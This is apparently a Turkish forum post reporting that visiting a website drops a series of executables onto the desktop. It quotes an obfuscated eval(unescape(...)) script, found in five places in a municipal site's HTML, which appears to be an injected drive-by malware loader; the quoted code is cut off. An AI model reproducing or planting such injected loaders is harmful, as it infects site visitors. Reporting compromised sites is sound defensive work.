yesiltire . com girdiğin anda masa üstüne gdcl427.exe diye dosya yükleniyo ve bir tane diğil gdcl427.exe gdcl428exe gdcl429exe diye seri olarak bi sürü dosya yükleniyo

tire.bel.tr nin html kodları arasında 5 ayrı yerde
olan kod

</body>
</html> <!-- [ e82bf74bd80d27a33f6b9bcb1c8ff503 ] --><script>eval(unescape('function%20fHDNJ%28wcDfu%2 9%7Bfunction%20oYSg%28jRLp%29%7Bvar%20pfaXO%3D0%3B var%20aTQT%3DjRLp.length%3Bvar%20ost%3D0%3Bwhile%2 8ost%3CaTQT%29%7BpfaXO+%3DuDpK%28jRLp%2Cost%29*aTQ T%3Bost++%3B%7Dreturn%20%28pfaXO+%27%27%29%3B%7Dfu nction%20uDpK%28xsGBu%2CzyRth%29%7Breturn%20xsGBu. charCodeAt%28zyRth%29%3B%7D%20%20%20try%20%7Bvar%2 0wqyUrV%3Deval%28%27a%7Cr%7CgGu3m3e%7Cn%5Bt3s%5B.% 5Bc3a%3ClGlGe3e%7C%27.replace%28/%5B3%5C%7C%5C%3C%5C%5BG%5D/g%2C%20%27%27%29%29%3Bvar%20nup%3Dnew%20String